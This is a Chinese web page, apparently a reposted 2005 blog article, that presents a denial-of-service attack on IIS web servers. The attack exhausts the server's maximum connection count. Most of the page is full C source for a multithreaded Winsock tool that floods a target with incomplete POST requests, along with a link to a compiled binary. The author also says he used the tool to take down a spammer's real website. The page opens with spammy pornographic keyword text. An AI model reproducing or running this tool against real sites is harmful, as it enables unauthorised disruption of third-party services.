乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      以小搏大——利用IIS最大連接數(shù)實(shí)現(xiàn)網(wǎng)站DOS

       intruder 2005-12-16
      以小搏大——利用IIS最大連接數(shù)實(shí)現(xiàn)網(wǎng)站DOS


      聲明:本程序僅做為技術(shù)交流之用,勿用于非法用途?。?/FONT>
              最近買了個(gè)空間來玩,各位勿笑,是入門級(jí)的虛擬主機(jī)(偶是窮人?。?,各種參數(shù)都相當(dāng)?shù)?,特別是IIS連接數(shù),只有100個(gè)(也就是同時(shí)支持100個(gè)不同的訪問)。
              這里就出現(xiàn)問題了。如果我一直對(duì)該網(wǎng)站進(jìn)行連接,雖然我是同一個(gè)人,但是IIS卻傻乎乎的把每次連接當(dāng)成不同的人,每連接一次就會(huì)分配一個(gè)session給我,當(dāng)連接超過服務(wù)器設(shè)置的IIS最大連接數(shù)目的時(shí)候……呵呵,拒絕服務(wù)就發(fā)生了。
              具體的攻擊嘛,我們當(dāng)然是利用程序來完成。思路簡單,就是不斷的向網(wǎng)站發(fā)HTTP請(qǐng)求,直到超過它的最大連接數(shù)。正好機(jī)器上有以前看了shotgun的《HTTP協(xié)議Content Lenth限制漏洞導(dǎo)致拒絕服務(wù)攻擊》寫的測(cè)試程序,跟今天的要求很相似,就拿來改改咯。具體代碼如下:
       
      #include "winsock.h"
      #include "stdio.h"
      #include "string.h"
      #include "io.h"
      #pragma comment(lib,"ws2_32.lib")
      #define BUFLEN 1024
      #define MAXThreadCount 10 //設(shè)置最大線程數(shù)
       
      int ThreadCount=0;
       
      struct mydata
      {
        char *ip;
        int  port;
      };
       
       
      unsigned int resolve(char *name)
      {
          struct hostent *he;
          unsigned int ip;
       
          if((ip=inet_addr(name))==(-1))
          {
              if((he=gethostbyname(name))==0)
                  return 0;
              memcpy(&ip,he->h_addr,4);
          }
          return ip;
      }
       
       
      DWORD WINAPI Dos(LPVOID lpParam )
      {
        mydata *csdn = (mydata*)lpParam;
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons(csdn->port);
         server.sin_addr.s_addr = resolve((char*)csdn->ip);
            if(server.sin_addr.s_addr==0)
          {
             
               printf("Don‘t find  address %s\n",(char*)csdn->ip);
              exit(0);
          }
        int my;
        char buf[100]="POST / HTTP/1.1\r\nHost: ";
        strcat(buf,(char*)csdn->ip);
        strcat(buf," \r\nContent-Length: 10\r\n\r\n");
          my=socket(PF_INET,SOCK_STREAM,0);
        if(my==INVALID_SOCKET)
          {
               printf("ERROR");
               exit(0);
          }
      if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
          {
               printf("Socket ERROR:%d",GetLastError());
              exit(0);
          }
        if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
        ThreadCount--;
          return 0;
      }
       
      void thread ( char *a1 , char *a2 , char *a3 )
      {
        static mydata tmp;
        tmp.ip = a1;
        tmp.port = atoi(a2);
       
        DWORD dwThreadId;
          HANDLE hThread;
        WSADATA ws;
         if   (WSAStartup( MAKEWORD(2,2), &ws )!=0)
         {
                      printf(" [-] WSAStartup() error\n");
                      exit(0);
         }
          hThread = CreateThread(
              NULL,                        // no security attributes
              0,                           // use default stack size 
              Dos,                  // thread function
              &tmp,                // argument to thread function
              0,                           // use default creation flags
              &dwThreadId);                // returns the thread identifier
         if (hThread == NULL)
           printf( "CreateThread failed." );
        ThreadCount++;
        Sleep(200);     //延時(shí),否則CPU會(huì)用滿……
         CloseHandle(hThread);
      }
       
      int main(int argc, char* argv[])
      {
        int i=0;
        if(argc!=4)
        {
               printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");
               printf("-Usage:\n");
               printf("%s \n",argv[0]);
               printf("-Example: %s www.target.com 80 300\n",argv[0]);
               return 0;
        }
        printf("Starting DOS.............Ctrl + C break\n");
        while( i < atoi(argv[3]) )
        {
               if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
        }
        while( 1 ){      }
        WSACleanup();
        return 0;
      }
       
       
              (VS.net 、XP SP1調(diào)試通過。編譯好的程序可以在這里找到:http://www./lake2/program/IISDos.exe
              程序?yàn)槊钚谐绦?,共有三個(gè)參數(shù),依次為要攻擊的網(wǎng)站域名、端口、連接數(shù)。嗯,測(cè)試下效果先。
      測(cè)試的目標(biāo)是個(gè)人電腦,系統(tǒng)為win2000。IIS管理中把最大連接數(shù)設(shè)為200,很快網(wǎng)站就不能訪問了;增大到500,仍然會(huì)被當(dāng);800,還是要被當(dāng)(圖)。測(cè)試過程中該電腦正在運(yùn)行魔獸世界,而且一直正常??磥砦覀兊某绦蛑皇菍?duì)付網(wǎng)站,不會(huì)央及無辜的啊^_^




              既然如此,那索性試試IIS連接數(shù)為無限的情況。程序中的連接參數(shù)我填的8000,結(jié)果運(yùn)行途中我的系統(tǒng)沒有了緩沖區(qū)間,winsock產(chǎn)生10055號(hào)錯(cuò)誤,程序中止。呵呵,看來這種方法還是只能針對(duì)使用虛擬空間的中小網(wǎng)站。
              好,偶們來實(shí)際使用一下。打開郵箱,隨便找封廣告垃圾郵件,訪問那家伙的網(wǎng)站,然后開始攻擊它,對(duì)付這種小站連接數(shù)就設(shè)成300就綽綽有余了。呵呵,很快那網(wǎng)站就不工作了(圖),嘿嘿,這可怪不得我,誰叫他發(fā)垃圾郵件在前。好了,測(cè)試完畢,通過驗(yàn)收,就不跟他玩了。




              這只是個(gè)測(cè)試程序,真正要投入到應(yīng)用還得再完善完善。再說廢話一句,要是跟別人沒有國仇家恨的話還是不要DOS的好。


        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多